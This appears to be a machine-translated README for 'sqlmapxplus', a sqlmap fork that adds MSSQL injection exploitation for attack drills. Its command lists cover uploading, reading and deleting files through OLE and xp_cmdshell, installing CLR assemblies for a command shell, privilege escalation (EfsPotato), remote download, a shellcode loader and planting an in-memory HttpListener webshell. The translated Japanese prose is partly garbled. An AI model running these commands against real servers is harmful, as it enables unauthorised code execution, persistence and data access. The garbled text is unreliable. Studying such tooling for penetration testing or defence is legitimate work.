多くの地域の攻撃および防御訓練では、SQL Server データベース スタック インジェクションによるホール ブラストが依然として高頻度で発生します。ただし、ネットワーク アクセスなし、権限の低さ、サイトとデータベースの分離、端末の保護、困難などのいくつかの一般的な訓練シナリオの制限が原因です。オンラインになると、権限のメンテナンスが面倒になり、1 つの --os-shell だけではニーズを満たすことができなくなります。
sqlmapxplus は sqlmap に基づいており、古典的なデータベース脆弱性悪用ツールを再度開き、さまざまなソリューションを参照し、MSSQL データベース インジェクションの利用方法を追加しています。現在、ole のファイルアップロードやシェルコードの自動ロード機能など、第 2 期開発の一部が完了しています。
20240508 更新手順: 新規にファイルを開く機能、新規に指定ファイルを読み取る機能、新規に指定ファイルを移動する機能、新規に指定ファイルをコピーする機能、新規に指定ファイルを削除する機能、新規に指定ファイルの場所を特定する機能、新規ストレージの機能 プロセスクエリ機能、新しいストアドプロセス削除機能、OLE アップロードメソッドの変更、clr インストールプロセスの変更、clr コマンド実行メソッドの変更、中国語コメントによるエラーの削除
実際のネットワーク処理での DLL の転送ロスにより clr のインストールが失敗する問題を対象としました(暫定的な解決策) オリジナルの --install-clr 関数で使用されている clr dll が大きすぎて、大量のインジェクションが発生していることが判明しました実際の戦闘では、インジェクション プロセスが原因で dll の実装が失敗し、dll を正常に入力できない場合に、元のワンクリック自動インストール プロセスが削除され、ユーザーがカスタマイズできるように変更されました。実際のターゲット状況に基づいて dll をインストールし、一時的に --check- を追加します。 file オプションは、dll ファイルがターゲット ホストに正常にロードされたかどうかを決定し、ユーザー定義関数が正常にロードされたかどうかを判断するために、一時的に --check-clr を追加します。データベース。
アップロード処理中に DLL 増幅の問題が発生するのはなぜですか? たとえば、文字 A は 16 進数の 41 に変換され、サイズが 2 倍になります。
clr のカスタマイズに関する問題 (完了) install-clr は、プロンプト ボックスにユーザー定義のクラス名を入力し、clr 関数を実行するユーザー定義のメソッド名を入力するように変更されました。 clr_shell モードでは、次のように変更されます。 ユーザー定義関数はパラメータを渡します (完了)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
オーレについて:
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
その他の機能:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
clrについて:
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
公開アカウント: Cyber War
Knowledge Planet: 侵入テスト ガイド
古いバージョンの参照リンク: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
新しいバージョンの参照リンク: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/